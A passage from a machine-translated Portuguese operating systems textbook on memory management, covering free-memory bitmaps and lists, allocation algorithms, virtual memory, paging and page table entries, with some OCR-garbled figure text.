for trocado ou movido, para reduzir a sobrecarga associada à movimentação ou troca de 
processos que não cabem mais. sua memória alocada. Entretanto, ao trocar processos para 
armazenamento não volátil, apenas a memória realmente em uso deve ser trocada; é um 
desperdício trocar a memória extra também. Na Figura 3.5(a), vemos uma configuração de 
memória na qual o espaço para crescimento foi alocado para dois processos. 


Pilha B 
Espaço para crescimento 
} Espaço para crescimento 


Na verdade em uso 


Programa B 


Uma pilha 
Espaço para crescimento 
} Espaço para crescimento 


Dados A 


Na verdade em uso 
Um programa 


Sistema 
operacional 


Sistema 
operacional 


Figura 3-5. (a) Alocação de espaço para um segmento de dados crescente. (b) Alocação de 
espaço para uma pilha crescente e um segmento de dados crescente. 


Se os processos puderem ter dois segmentos crescentes — por exemplo, o segmento de 
dados sendo usado como um heap para variáveis que são alocadas e liberadas dinamicamente 
e um segmento de pilha para as variáveis locais normais e endereços de retorno — um arranjo 
alternativo se sugere, a saber, o da Fig. 3-5(b). Nesta figura, vemos que cada processo 
ilustrado tem uma pilha no topo da memória alocada que cresce para baixo, e um segmento 
de dados logo além do texto do programa que cresce para cima. A memória entre eles pode 
ser usada para qualquer segmento. Se acabar, o processo terá que ser movido para um 
buraco com espaço suficiente, ficar sem memória até que um buraco grande o suficiente 
possa ser criado ou eliminado. 


3.2.3 Gerenciando memória livre 


Quando a memória é atribuída dinamicamente, o sistema operacional deve gerenciá-la. 
Em termos gerais, existem duas maneiras de controlar o uso da memória: bitmaps e listas 
livres. Nesta seção e na próxima, veremos esses dois métodos. Em 
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Capítulo 10, veremos alguns alocadores de memória específicos usados no Linux (como 

alocadores de buddy e de laje) com mais detalhes. Veremos também em capítulos posteriores que 

rastrear o uso de recursos não é específico do gerenciamento de memória. Para 

Por exemplo, os sistemas de arquivos também precisam monitorar os blocos livres do disco. Na verdade, manter 


rastrear quais slots estão livres em um conjunto de recursos é comum em muitos programas. 
Gerenciamento de memória com bitmaps 


Com um bitmap, a memória é dividida em unidades de alocação tão pequenas quanto algumas palavras 
e tão grande quanto vários kilobytes. Correspondente a cada unidade de alocação está um pouco em 
o bitmap, que é O se a unidade estiver livre e 1 se estiver ocupada (ou vice-versa). A Figura 3-6(a) mostra parte 


a 


da memória e o bitmap correspondente na Figura 3-6(b). 


(a) 


FERE 


erek] | THL T+ 
poa 
[room 


cresc) ABA [51289 E T9-[RET] 


E TY Buraco começa 
às 18 


(b) (c) 


Processo 


Comprimento 


Figura 3-6. (a) Uma parte da memória com cinco processos e três furos. O carrapato 
marcas mostram as unidades de alocação de memória. As regiões sombreadas (0 no bitmap) 
são livres. (b) O bitmap correspondente. (c) As mesmas informações de uma lista. 


O tamanho da unidade de alocação é uma questão importante de projeto. Quanto menor for 
unidade de alocação, maior será o bitmap. No entanto, mesmo com uma unidade de alocação como 
pequenos como 4 bytes, 32 bits de memória exigirão apenas 1 bit do mapa. Uma memoria 
de 32n bits usará n bits de mapa, portanto o bitmap ocupará apenas 1/32 da memória. Se 
a unidade de alocação for escolhida grande, o bitmap será menor, mas apreciável 
a memória pode ser desperdiçada na última unidade do processo se o tamanho do processo não for um 
múltiplo exato da unidade de alocação. 

Um bitmap fornece uma maneira simples de controlar as palavras da memória em um intervalo fixo. 
quantidade de memória porque o tamanho do bitmap depende apenas do tamanho do 
memória e o tamanho da unidade de alocação. O principal problema é que quando tem 
foi decidido trazer um processo k-unit para a memória, o gerenciador de memória deve 
pesquise o bitmap para encontrar uma série de k bits O consecutivos no mapa. Procurar em um mapa de bits 
uma execução de determinado comprimento é uma operação lenta (porque a execução pode abranger 


limites das palavras no mapa); este é um argumento contra bitmaps. 
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Gerenciamento de memória com listas vinculadas 


Outra maneira de controlar a memória é manter uma lista encadeada de segmentos de memória 
alocados e livres, onde um segmento contém um processo ou é um espaço vazio entre dois processos. A 
memória da Figura 3-6(a) é representada na Figura 3-6(c) como uma lista encadeada de segmentos. Cada 
entrada na lista especifica um furo (H) ou processo (P), o endereço no qual ele inicia, o comprimento e um 
ponteiro para o próximo item. 

Neste exemplo, a lista de segmentos é mantida ordenada por endereço. A classificação dessa forma 
tem a vantagem de que, quando um processo termina ou é trocado, a atualização da lista é simples. Um 
processo de finalização normalmente tem dois vizinhos (exceto quando está no topo ou na parte inferior 
da memória). Estes podem ser processos ou furos, levando às quatro combinações mostradas na Figura 
3-7. Na Figura 3-7(a), a atualização da lista requer a substituição de um P por um H. Na Figura 3-7(b) e 
(c), duas entradas são unidas em uma e a lista se torna uma entrada mais curta. Na Figura 3.7(d), três 
entradas são mescladas e dois itens são removidos da lista. 


Como o slot da tabela de processos para o processo final normalmente apontará para a entrada da 
lista do próprio processo, pode ser mais conveniente ter a lista como uma lista duplamente vinculada, em 
vez da lista simples da Figura 3-6. (c). Essa estrutura torna mais fácil encontrar a entrada anterior e ver se 
uma mesclagem é possível. 


Antes que X termine Depois que X termina 


iombetado [e] rese 
o Ee torna-se 
EA 


torna-se 


SE 
o 


Ç 
Ç 
É 


) x Y torna-se 


Figura 3-7. Quatro combinações de vizinhos para o processo de terminação, X. 


y 
Ç 
S 


Quando os processos e lacunas são mantidos em uma lista classificada por endereço, vários 
algoritmos podem ser usados para alocar memória para um processo criado (ou um processo existente 
sendo trocado do disco ou SSD). Assumimos que o gerenciador de memória sabe quanta memória deve 
ser alocada. O algoritmo mais simples é o primeiro ajuste. O gerenciador de memória examina a lista de 
segmentos até encontrar um buraco grande o suficiente. 

O buraco é então dividido em duas partes, uma para o processo e outra para a memória não utilizada, 
exceto no caso estatisticamente improvável de um ajuste exato. O primeiro ajuste é um algoritmo rápido 
porque pesquisa o mínimo possível. 

Uma pequena variação do primeiro ajuste é o próximo ajuste. Funciona da mesma forma que o 
primeiro ajuste, exceto que mantém um registro de onde está sempre que encontra um furo adequado. Na 
próxima vez que for chamado para encontrar um buraco, ele começará a pesquisar a lista a partir do local 
onde parou da última vez, em vez de sempre no início, como faz o primeiro ajuste. Simulações de Bays 
(1977) mostram que o próximo ajuste apresenta um desempenho ligeiramente pior do que o primeiro ajuste. 
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Outro algoritmo bem conhecido e amplamente utilizado é o mais adequado. O melhor ajuste pesquisa 
toda a lista, do início ao fim, e obtém o menor furo adequado. 
Em vez de quebrar um buraco grande que pode ser necessário mais tarde, o melhor ajuste tenta encontrar 
um buraco que seja próximo do tamanho real necessário, para melhor corresponder à solicitação e aos 
furos disponíveis. 

Como exemplo de primeiro ajuste e melhor ajuste, considere novamente a Figura 3-6. Se for necessário 
um bloco de tamanho 2, o primeiro ajuste alocará o furo em 5, mas o melhor ajuste alocará o furo em 18. 


O melhor ajuste é mais lento que o primeiro ajuste porque deve pesquisar a lista inteira sempre que 
for chamado. Surpreendentemente, isso também resulta em mais desperdício de memória do que o primeiro 
ou o próximo ajuste, porque tende a preencher a memória com pequenos buracos inúteis. O primeiro ajuste 
gera furos maiores, em média. 

Para contornar o problema de dividir correspondências quase exatas em um processo e um furo 
minúsculo, pode-se pensar no pior ajuste, ou seja, pegar sempre o maior furo disponível, para que o novo 
furo seja grande o suficiente para ser útil. A simulação mostrou que o pior ajuste também não é uma ideia 
muito boa. 

Todos os quatro algoritmos podem ser acelerados mantendo listas separadas para processos e 
lacunas. Dessa forma, todos dedicam toda a sua energia à inspeção de furos e não de processos. O preço 
inevitável pago por essa aceleração na alocação é a complexidade adicional e a lentidão na desalocação 
de memória, uma vez que um segmento liberado deve ser removido da lista de processos e inserido na lista 
de lacunas. 


Se listas distintas forem mantidas para processos e furos, a lista de furos poderá ser mantida 
classificada por tamanho, para tornar o melhor ajuste mais rápido. Quando o melhor ajuste pesquisa uma 
lista de furos do menor para o maior, assim que encontra um furo que se encaixa, ele sabe que o furo é o 
menor que fará o trabalho, portanto, o melhor ajuste. Nenhuma pesquisa adicional é necessária, como 
acontece com o esquema de lista única. Com uma lista de furos classificada por tamanho, o primeiro ajuste 
e o melhor ajuste são igualmente rápidos e o próximo ajuste é inútil. 

Quando os buracos são mantidos em listas separadas dos processos, uma pequena otimização é 
possível. Em vez de ter um conjunto separado de estruturas de dados para manter a lista de buracos, como 
é feito na Figura 3.6(c), as informações podem ser armazenadas nos buracos. 

A primeira palavra de cada furo pode ser o tamanho do furo e a segunda palavra um ponteiro para a entrada 
seguinte. Os nós da lista da Figura 3.6(c), que requerem três palavras e um bit (P/H), não são mais 
necessários. 

Ainda outro algoritmo de alocação é o ajuste rápido, que mantém listas separadas para alguns dos 
tamanhos solicitados mais comuns. Por exemplo, pode ter uma tabela com n entradas, na qual a primeira 
entrada é um ponteiro para o início de uma lista de lacunas de 4 KB, a segunda entrada é um ponteiro para 
uma lista de lacunas de 8 KB, a terceira entrada um ponteiro para buracos de 12 KB e assim por diante. 
Buracos de, digamos, 21 KB podem ser colocados na lista de 20 KB ou em uma lista especial de furos de 
tamanhos ímpares. 

Com o ajuste rápido, encontrar um buraco do tamanho necessário é extremamente rápido, mas tem a 
mesma desvantagem que todos os esquemas que classificam por tamanho de buraco, ou seja, quando 
um processo termina ou é trocado, encontrar seus vizinhos para ver se uma fusão com eles 
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é possível é bastante caro. Se a fusão não for feita, a memória se fragmentará rapidamente em um grande 
número de pequenos buracos nos quais nenhum processo caberá. 


3.3 MEMÓRIA VIRTUAL 


Embora os registradores base e limite possam ser usados para criar a abstração de espaços de 
endereço, há outro problema que precisa ser resolvido: o gerenciamento de bloatware. Embora o tamanho 
da memória esteja aumentando rapidamente, o tamanho do software está aumentando muito mais 
rapidamente. Na década de 1980, muitas universidades operavam um sistema de compartilhamento de 
tempo com dezenas de usuários (mais ou menos satisfeitos) rodando simultaneamente em um VAX de 4 
MB. Agora a Microsoft recomenda ter pelo menos 2 GB para Windows 10 de 64 bits. 

Como consequência destes desenvolvimentos, há uma necessidade de executar programas que são 
demasiado grandes para caber na memória, e há certamente uma necessidade de ter sistemas que possam 
suportar múltiplos programas em execução simultaneamente, cada um dos quais cabe na memória, mas 
todos os quais excedem coletivamente a memória. A troca não é uma opção atraente se o seu computador 
estiver equipado com um disco rígido, já que um disco SATA típico tem uma taxa de transferência máxima 
de várias centenas de MB/s, o que significa que leva segundos para trocar um programa de 1 GBe o 
mesmo. para trocar em um programa de 1 GB. Embora os SSDs sejam consideravelmente mais rápidos, 
mesmo aqui a sobrecarga é substancial. 

O problema dos programas maiores que a memória existe desde o início da computação, embora em 
áreas limitadas, como ciência e engenharia (simular a criação do universo ou mesmo simular uma nova 
aeronave consome muita memória). Uma solução adotada na década de 1960 foi dividir os programas em 
pequenos pedaços, chamados de sobreposições. Quando um programa era iniciado, tudo o que era 
carregado na memória era o gerenciador de sobreposição, que imediatamente carregava e executava a 
sobreposição 0. Quando terminasse, ele diria ao gerenciador de sobreposição para carregar a sobreposição 
1, acima da sobreposição O na memória (se houver). havia espaço para ele) ou em cima da sobreposição 
O (se não houvesse espaço). Alguns sistemas de sobreposição eram altamente complexos, permitindo 
muitas sobreposições na memória ao mesmo tempo. 

As sobreposições foram mantidas em armazenamento não volátil e trocadas dentro e fora da memória pelo 
gerenciador de sobreposições. 

Embora o trabalho real de inserir e retirar sobreposições fosse feito pelo sistema operacional, o 
trabalho de dividir o programa em partes tinha que ser feito manualmente pelo programador. Dividir 
programas grandes em partes pequenas e modulares era demorado, enfadonho e propenso a erros. Poucos 
programadores eram bons nisso. Não demorou muito para que alguém pensasse em uma maneira de 
transferir todo o trabalho para o computador. 


O método desenvolvido (Fotheringham, 1961) passou a ser conhecido como memória virtual. A ideia 
básica por trás da memória virtual é que cada programa tenha seu próprio espaço de endereço, que é 
dividido em partes chamadas páginas. Cada página é um intervalo contíguo de endereços. Essas páginas 
são mapeadas na memória física, mas nem todas as páginas precisam estar na memória física ao mesmo 
tempo para executar o programa. Quando o programa faz referência a uma parte do seu espaço de 
endereço que está em estado físico 
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memória, o hardware executa o mapeamento necessário dinamicamente. Quando o programa faz 
referência a uma parte do seu espaço de endereço que não está na memória física, o sistema operacional 
é alertado para ir buscar a peça que falta e executar novamente a instrução que falhou. 


De certo modo, a memória virtual é uma generalização da ideia de registro base e limite. O 8088 tinha 
registros de base separados (mas sem registros de limite) para texto e dados. 
Com a memória virtual, em vez de haver uma realocação separada apenas para os segmentos de texto e 
dados, todo o espaço de endereço pode ser mapeado na memória física em unidades bastante pequenas. 
Diferentes implementações de memória virtual fazem escolhas diferentes em relação a essas unidades. 
Hoje em dia a maioria dos sistemas utiliza uma técnica chamada paginação onde as unidades são unidades 
de tamanho fixo de, digamos, 4 KB. Em contraste, uma solução alternativa conhecida como segmentação 
utiliza segmentos inteiros de tamanho variável como unidades. Veremos ambas as soluções, mas 
focaremos na paginação, já que a segmentação não é mais usada atualmente. 


A memória virtual funciona muito bem em um sistema de multiprogramação, com pedaços de muitos 
programas na memória ao mesmo tempo. Enquanto um programa espera que partes de si mesmo sejam 
lidas, a CPU pode ser entregue a outro processo. 


3.3.1 Paginação 


A maioria dos sistemas de memória virtual usa uma técnica cnamada paginação, que descreveremos 
agora. Em qualquer computador, os programas fazem referência a um conjunto de endereços de memória. 
Quando um programa executa uma instrução como 


REG MOV, 1000 


faz isso para copiar o conteúdo do endereço de memória 1000 para REG (assumindo que o primeiro 
operando representa o destino e o segundo a origem). Os endereços podem ser gerados usando indexação, 
registros de base e várias outras maneiras. 

Esses endereços gerados pelo programa são chamados de endereços virtuais e formam o espaço 
de endereço virtual. Em computadores sem memória virtual, o endereço virtual é colocado diretamente 
no barramento de memória e faz com que a palavra da memória física com o mesmo endereço seja lida 
ou escrita. Quando a memória virtual é usada, os endereços virtuais não vão diretamente para o 
barramento de memória. Em vez disso, eles vão para uma MMU (Unidade de Gerenciamento de 
Memória) que mapeia os endereços virtuais nos endereços de memória física, conforme ilustrado na 
Figura 3-8. 

Um exemplo muito simples de como esse mapeamento funciona é mostrado na Figura 3.9. Neste 
exemplo temos um computador que gera endereços de 16 bits, de O a 64K 1. Esses são os endereços 
virtuais. Este computador, entretanto, possui apenas 32 KB de memória física. Portanto, embora programas 
de 64 KB possam ser gravados, eles não podem ser carregados na memória por completo e executados. 
No entanto, uma cópia completa da imagem principal de um programa, de até 64 KB, deve estar presente 
no disco ou SSD, para que as partes possam ser trazidas dinamicamente conforme necessário. 
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A CPU envia endereços 
virtuais para o MMU 


Pacote de CPU 


CPU 


Unidade de acl 
gerenciamento de Memória Controlador de fisco 


memória 


Ônibus 


A MMU envia endereços 
físicos para a memória 


Figura 3-8. A posição e função do MMU. Aqui o MMU é mostrado como parte do chip da 
CPU, como normalmente é hoje em dia. No entanto, logicamente, poderia ser um chip 
separado e foi há anos. 


O espaço de endereço virtual consiste em unidades de tamanho fixo chamadas páginas. As 
unidades correspondentes na memória física são chamadas de frames de página. As páginas e 
molduras das páginas são do mesmo tamanho. Neste exemplo eles têm 4 KB, mas tamanhos de 
página de 512 bytes a um gigabyte foram usados em sistemas reais. Com 64 KB de espaço de 
endereço virtual e 32 KB de memória física, obtemos 16 páginas virtuais e 8 quadros de página. 

As transferências entre RAM e armazenamento não volátil ocorrem sempre em páginas inteiras. 
Muitos processadores suportam vários tamanhos de página que podem ser misturados e combinados 
conforme o sistema operacional achar adequado. Por exemplo, a arquitetura x86-64 suporta páginas 
de 4 KB, 2 MBe 1 GB, portanto poderíamos usar páginas de 4 KB para aplicativos de usuário e uma 
única página de 1 GB para o kernel. Veremos mais tarde por que às vezes é melhor usar uma única 
página grande, em vez de um grande número de páginas pequenas. 

A notação na Figura 3-9 é a seguinte. O intervalo marcado de OK a 4K significa que os endereços 
virtuais ou físicos nessa página são de 0 a 4095. O intervalo de 4K a 8K refere-se aos endereços de 
4096 a 8191 e assim por diante. Cada página contém exatamente 4.096 endereços começando em 
um múltiplo de 4.096 e terminando um a menos de um múltiplo de 4.096. 

Quando o programa tenta acessar o endereço 0, por exemplo, usando a instrução 


REGISTRO MOV,0 


o endereço virtual O é enviado para a MMU. A MMU vê que esse endereço virtual está na página 0, 

ou seja, no intervalo de O a 4095, que segundo seu mapeamento é o quadro de página 2 (8192 a 
12287). Assim, ele transforma o endereço em 8192 e envia o endereço 8192 para o barramento. A 
memória não sabe absolutamente nada sobre a MMU e apenas vê uma solicitação de leitura ou 
gravação do endereço 8192, que ela atende. Assim, a MMU mapeou efetivamente todos os endereços 
virtuais entre O e 4.095 nos endereços físicos 8.192 a 12.287. 
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Espaço 
de 
endereço virtual 


56K-60K } Página virtual 
Endereço 
36K-40K 5 
HEM Ea 

32K-36K memória física 
28K-32K 28K-32K 
24K-28K 24K-28K 
20K-24K 20K-24K 
16K-20K 16K-20K 
12K-16K | 0 | 12K-16K 
sk-12k | 6 | 8K-12K 
4K-8K E 4K-8K 
oak 


pa 


Quadro de página 


Figura 3-9. A relação entre endereços virtuais e endereços de memória física é dada pela tabela de 
páginas. Cada página começa em um múltiplo de 4.096 e termina 4.095 endereços acima, então 4K-8K 
realmente significa 4096-8191 e 8K-12K significa 8192-12287. 


Da mesma forma, a instrução 
REGISTRO MOV,8192 

é efetivamente transformado em 
REGISTRO MOV,24576 


porque o endereço virtual 8192 (na página virtual 2) é mapeado em 24576 (no quadro de página 
física 6). Como terceiro exemplo, o endereço virtual 20500 está a 20 bytes do início da página 
virtual 5 (endereços virtuais 20480 a 24575) e é mapeado no endereço físico 12288 + 20 = 12308. 


Por si só, esta capacidade de mapear as 16 páginas virtuais em qualquer um dos oito quadros 
de página, configurando o mapa da MMU de forma adequada, não resolve o problema de o espaço 
de endereço virtual ser maior que a memória física. Como temos apenas oito quadros de páginas 
físicas, apenas oito das páginas virtuais da Figura 3.9 são mapeadas na memória física. Os demais, 
mostrados em forma de cruz na figura, não estão mapeados. 

No hardware real, um bit Presente/ausente controla quais páginas estão fisicamente presentes 
na memória. 
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O que acontece se o programa fizer referência a um endereço não mapeado, por exemplo, 
usando a instrução 


REGISTRO MOV,32780 


qual é o byte 12 na página virtual 8 (começando em 32768)? A MMU vê que a página não está 
mapeada (indicada por uma cruz na figura) e faz com que a CPU faça uma interceptação no 
sistema operacional, o que é chamado de falha de página. O sistema operacional seleciona um 
quadro de página pouco utilizado e grava seu conteúdo de volta no disco (se ainda não estiver 
lá). Em seguida, ele busca (também do disco) a página que acabou de ser referenciada no 
quadro de página recém-liberado, altera o mapa e reinicia a instrução interceptada. 

Por exemplo, se o sistema operacional decidisse remover o quadro de página 1 da memória, 
ele carregaria a página virtual 8 no endereço físico 4096 e faria duas alterações no mapa MMU. 
Primeiro, ele marcaria a entrada da página virtual 1 como não mapeada, para interceptar 
quaisquer acessos futuros a endereços virtuais entre 4096 e 8191. Em seguida, substituiria a 
cruz na entrada da página virtual 8 por um 1, de modo que, quando a instrução interceptada 
fosse reexecutada, ela mapeará o endereço virtual 32780 para o endereço físico 4108 (4096 + 12). 

Agora vamos olhar dentro da MMU para ver como ela funciona e por que escolhemos usar 
um tamanho de página que é uma potência de 2. Na Figura 3-10 vemos um exemplo de endereço 
virtual, 8196 (001000000000100 em binário ), sendo mapeado usando o mapa MMU da Figura 
3-9. O endereço virtual de entrada de 16 bits é dividido em um número de página de 4 bits e um 
deslocamento de 12 bits. Com 4 bits para o número da página, podemos ter 16 páginas, e com 
12 bits para o deslocamento, podemos endereçar todos os 4.096 bytes de uma página. 

O número da página é usado como índice na tabela de páginas, produzindo o número do 
quadro da página que corresponde a essa página virtual. Se o bit presente/ausente for 0, será 
causada uma interceptação no sistema operacional. Se o bit for 1, o número do quadro de página 
encontrado na tabela de páginas é copiado para os 3 bits de ordem superior do registrador de 
saída, junto com o deslocamento de 12 bits, que é copiado sem modificação do endereço virtual 
de entrada. Juntos, eles formam um endereço físico de 15 bits. O registrador de saída é então 
colocado no barramento de memória como o endereço da memória física. 

Em nossos exemplos, usamos endereços de 16 bits para facilitar a compreensão do texto e 
das figuras. Os PCs modernos usam endereços de 32 ou 64 bits. Em princípio, um computador 
com endereços de 32 bits e páginas de 4 KB poderia usar exatamente o mesmo método 
discutido acima. A tabela de páginas precisaria de 220 (1.048.576) entradas. Em um computador 
com gigabytes de RAM, isso é possível. No entanto, endereços de 64 bits e páginas de 4 KB 
exigiriam 252 (aproximadamente 4,5 x 1015) entradas na tabela de páginas, também conhecida 
como "muito". Definitivamente, isso não é possível, portanto, outras técnicas são necessárias. 
Iremos discuti-los em breve. 


3.3.2 Tabelas de páginas 


Numa implementação simples, o mapeamento de endereços virtuais em endereços físicos 
pode ser resumido da seguinte forma: o endereço virtual é dividido em um número de página 
virtual (bits de ordem superior) e um deslocamento (bits de ordem inferior). Por exemplo, com um 
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Endereço 
físico de 
saída 


(24580) 


Deslocamento de 
Tabela . . 
fi 12 bits copiado 
de páginas 
diretamente da 


entrada para a saída 


presente/ausênte 


Página virtual = 2 é usada 
como índice na tabela 


de páginas Endereço 


virtual 
de entrada 
(8196) 


GURIZESHEARADRaA 


Figura 3-10. A operação interna do MMU com 16 páginas de 4 KB. 


Endereço de 16 bits e tamanho de página de 4 KB, os 4 bits superiores poderiam especificar uma 
das 16 páginas virtuais e os 12 bits inferiores especificariam o deslocamento de bytes (0 a 4095) na 
página selecionada. Entretanto, uma divisão com 3 ou 5 ou algum outro número de bits para a página 
também é possível. Divisões diferentes implicam tamanhos de página diferentes. 

O número da página virtual é usado como um índice na tabela de páginas para localizar a 
entrada dessa página virtual. Na entrada da tabela de páginas, o número do quadro da página (se 
houver) é encontrado. O número do quadro da página é anexado à extremidade de ordem superior 
do deslocamento, substituindo o número da página virtual, para formar um endereço físico que pode 
ser enviado para a memória. 

Assim, o objetivo da tabela de páginas é mapear páginas virtuais em quadros de páginas. 
Matematicamente falando, a tabela de páginas é uma função, com o número da página virtual como 
argumento e o número do quadro físico como resultado. Utilizando o resultado desta função, o campo 
de página virtual em um endereço virtual pode ser substituído por um campo de quadro de página, 
formando assim um endereço de memória física. 
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Neste capítulo, nos preocupamos apenas com a memória virtual e não com a virtualização completa. 
Em outras palavras: ainda não há máquinas virtuais. Veremos no Cap. 7 que cada virtual 
A máquina requer sua própria memória virtual e, como resultado, a organização da tabela de páginas se torna 
muito mais complicada — envolvendo tabelas de páginas sombra ou aninhadas. 
e mais. Mesmo sem essas configurações misteriosas, paginação e memória virtual 


são bastante sofisticados, como veremos. 
Estrutura de uma entrada de tabela de páginas 


Vamos agora passar da estrutura das tabelas de páginas em geral para os detalhes 
de uma entrada de tabela de página única. O layout exato de uma entrada na tabela de páginas é altamente 
dependente da máquina, mas o tipo de informação presente é aproximadamente o mesmo 
máquina para máquina. Na Figura 3-11, apresentamos um exemplo de entrada na tabela de páginas. O tamanho 
varia de computador para computador, mas 64 bits é um tamanho comum no mercado geral de hoje. 
computadores de propósito. O campo mais importante é o número do quadro da página. Afinal, 
o objetivo do mapeamento da página é gerar esse valor. Se o tamanho da página for 4 KB (ou seja, 
212 bytes), precisamos apenas dos 52 bits mais significativos para o número do quadro da páginat , 
deixando 12 bits para codificar outras informações sobre a página. Por exemplo, o 
O bit presente/ ausente indica se a entrada é válida e pode ser usada. Se esta parte for 
0, a página virtual à qual a entrada pertence não está atualmente na memória. Acessar uma entrada da tabela de 


páginas com esse bit definido como O causa uma falha de página. 
Cache 


Modificado desabilitado Presente/ausente 


Número do quadro da página 


Supervisor Proteção 


Figura 3-11. Uma entrada típica de tabela de páginas. 


Os bits de proteção informam quais tipos de acesso são permitidos. No mais simples 
formulário, este campo contém 1 bit, com O para leitura/gravação e 1 para somente leitura. Um mais 
Um arranjo sofisticado é ter 3 bits, um bit cada para permitir a leitura, gravação e execução da página. Um pouco 
relacionado é o bit Supervisor que indica 
se a página é acessível apenas para código privilegiado, ou seja, o sistema operacional 
(ou supervisor) ou também para programas de usuário. Qualquer tentativa de um programa de usuário de acessar um 
página do supervisor resultará em uma falha. 
Os bits modificados e referenciados controlam o uso da página. Quando uma página é 
gravado, o hardware define automaticamente o bit Modificado . Essa parte tem valor 
quando o sistema operacional decide recuperar um quadro de página. Se a página nele tiver 
foi modificado (ou seja, está "sujo"), ele deve ser gravado de volta no armazenamento não volátil. Se isso 


t A maioria das CPUs de 64 bits usa apenas endereços de 48 bits por design, portanto, 36 bits são suficientes para o número do quadro da página. 
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não foi modificado (ou seja, está "limpo"), pode simplesmente ser abandonado, pois a cópia em disco 
ou SSD ainda é válida. Às vezes, o bit é chamado de bit sujo, pois reflete o estado da página. 


O bit Referenced é definido sempre que uma página é referenciada, seja para leitura ou para 
escrita. Seu valor é usado para ajudar o sistema operacional a escolher uma página a ser removida 
quando ocorre uma falha de página. As páginas que não estão sendo usadas são candidatas muito 
melhores do que as páginas que estão, e essa parte desempenha um papel importante em vários 
algoritmos de substituição de páginas que estudaremos mais adiante neste capítulo. 

Finalmente, o último bit permite que o cache seja desabilitado para a página. Esse recurso é 
importante para páginas mapeadas em registros de dispositivos em vez de memória. Se o sistema 
operacional estiver em um loop apertado esperando que algum dispositivo de E/S responda a um 
comando que acabou de ser dado, é essencial que o hardware continue buscando a palavra do 
dispositivo e não use uma cópia antiga em cache. Com este bit, o cache pode ser desativado. 
Máquinas que possuem um espaço de E/S separado e não usam E/S mapeada em memória não 
precisam desse bit. 

Observe que o endereço do disco (o endereço do bloco no disco ou SSD) usado para armazenar 
a página quando ela não está na memória não faz parte da tabela de páginas. A razão é simples. A 
tabela de páginas contém apenas as informações de que o hardware precisa para traduzir um 
endereço virtual em um endereço físico. As informações de que o sistema operacional precisa para 
lidar com falhas de página são mantidas em tabelas de software dentro do sistema operacional. O 
hardware não precisa disso. 

Antes de entrar em mais questões de implementação, vale ressaltar novamente que o que a 
memória virtual faz fundamentalmente é criar uma nova abstração — o espaço de endereço — que é 
uma abstração da memória física, assim como um processo é uma abstração do processador físico 
(CPU). ). A memória virtual pode ser implementada dividindo o espaço de endereço virtual em páginas 
e mapeando cada uma delas em algum quadro de página da memória física ou desmapeando-o 
(temporariamente). Portanto, esta seção trata basicamente de uma abstração criada pelo sistema 
operacional e como essa abstração é gerenciada. 


Além disso, pode ser bom enfatizar que todos os acessos à memória feitos por software utilizam 
endereços virtuais. Isso não se aplica apenas aos processos do usuário, mas também ao sistema 
operacional. Em outras palavras, o kernel também possui seus próprios mapeamentos nas tabelas de 
páginas. Sempre que um processo executa uma chamada de sistema, as tabelas de páginas do 
sistema operacional devem ser usadas. Como uma troca de contexto (que requer a troca de tabelas 
de páginas) não é barata, alguns sistemas empregam um truque inteligente e simplesmente mapeiam 
as tabelas de páginas do sistema operacional em cada processo do usuário, mas com o bit Supervisor 
indicando que essas páginas só podem ser acessadas pelo sistema operacional. Assim, quando o 
processo do usuário tentar acessar tal página, ele irá disparar uma exceção. Entretanto, quando o 
processo do usuário executa uma chamada de sistema, não há mais necessidade de alternar tabelas 
de páginas: todas as tabelas de páginas do kernel e as tabelas de páginas do usuário estão 
disponíveis para o sistema operacional. Fazer isso acelera a chamada do sistema. Geralmente, 
quando o sistema operacional é mapeado em processos do usuário, ele é mapeado no topo do 
espaço de endereço para não interferir nos programas do usuário, que iniciam em 0 ou próximo a ele. 
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os programas do usuário iniciam em 4K em vez de 0, de modo que as referências ao endereço 0 (que geralmente é 


um erro) são capturadas. 
3.3.3 Acelerando a paginação 


Acabamos de ver os conceitos básicos de memória virtual e paginação. Agora é hora de entrar em mais 
detalhes sobre possíveis implementações. Em qualquer sistema de paging, dois problemas principais devem ser 


enfrentados: 


1. O mapeamento do endereço virtual para o endereço físico deve ser rápido. 


2. Mesmo que o próprio espaço de endereço virtual seja enorme, a tabela de páginas não deve 


ser muito grande. 


O primeiro ponto é consequência do fato de que o mapeamento virtual-físico deve ser feito em cada referência 
de memória. Em última análise, todas as instruções devem vir da memória e muitas delas também fazem referência 
a operandos na memória. Consequentemente, é necessário fazer uma, duas ou às vezes mais referências de 
tabelas de páginas por instrução. Se a execução de uma instrução leva, digamos, 1 ns, a consulta à tabela de 


páginas deve ser feita em menos de 0,2 ns para evitar que o mapeamento se torne um grande gargalo. 


O segundo ponto decorre do fato de que todos os computadores modernos usam endereços virtuais de pelo 
menos 32 bits, sendo 64 bits a norma para desktops e notebooks. Mesmo que um processador moderno utilize 
apenas 48 dos 64 bits para endereçamento, com um tamanho de página de 4 KB, um espaço de endereço de 48 bits 
possui 64 bilhões de páginas. Com 64 bilhões de páginas no espaço de endereço virtual, a tabela de páginas deve 
ter 64 bilhões de entradas de 64 bits cada. A maioria das pessoas concordará que usar centenas de gigabytes 
apenas para armazenar a tabela de páginas é um pouco excessivo. E lembre-se de que cada processo precisa de 


sua própria tabela de páginas (porque possui seu próprio espaço de endereço virtual). 


A necessidade de mapeamento rápido de páginas para grandes espaços de endereço é uma restrição muito 
significativa na forma como os computadores são construídos hoje em dia. O projeto mais simples (pelo menos 
conceitualmente) é ter uma tabela de página única que consiste em uma matriz de registros de hardware rápidos, 
com uma entrada para cada página virtual, indexada pelo número da página virtual, como mostrado na Figura 3.10. 
Quando um processo é iniciado, o sistema operacional carrega os registros com a tabela de páginas do processo, 
retirada de uma cópia mantida na memória principal. 

Durante a execução do processo, não são necessárias mais referências de memória para a tabela de páginas. As 
vantagens deste método são que ele é simples e não requer referências de memória durante o mapeamento. Uma 
desvantagem é que é insuportavelmente caro se a tabela de páginas for grande; simplesmente não é prático na 
maioria das vezes. Outra é que ter que carregar a tabela de página inteira em cada mudança de contexto prejudicaria 


completamente o desempenho. 


No outro extremo, a tabela de páginas pode estar inteiramente na memória principal. Tudo o que o hardware 
precisa é de um único registro que aponte para o início da tabela de páginas. 


Este design permite que o mapa virtual para físico seja alterado em uma troca de contexto por 


Machine Translated by Google 


SEC. 3.3 MEMÓRIA VIRTUAL 201 


recarregando um registro. É claro que tem a desvantagem de exigir uma ou mais referências de 
memória para ler as entradas da tabela de páginas durante a execução de cada instrução, tornando- 
o muito lento. 


Buffers Lookaside de tradução 


Vejamos agora alguns esquemas amplamente implementados para acelerar a paginação e lidar 
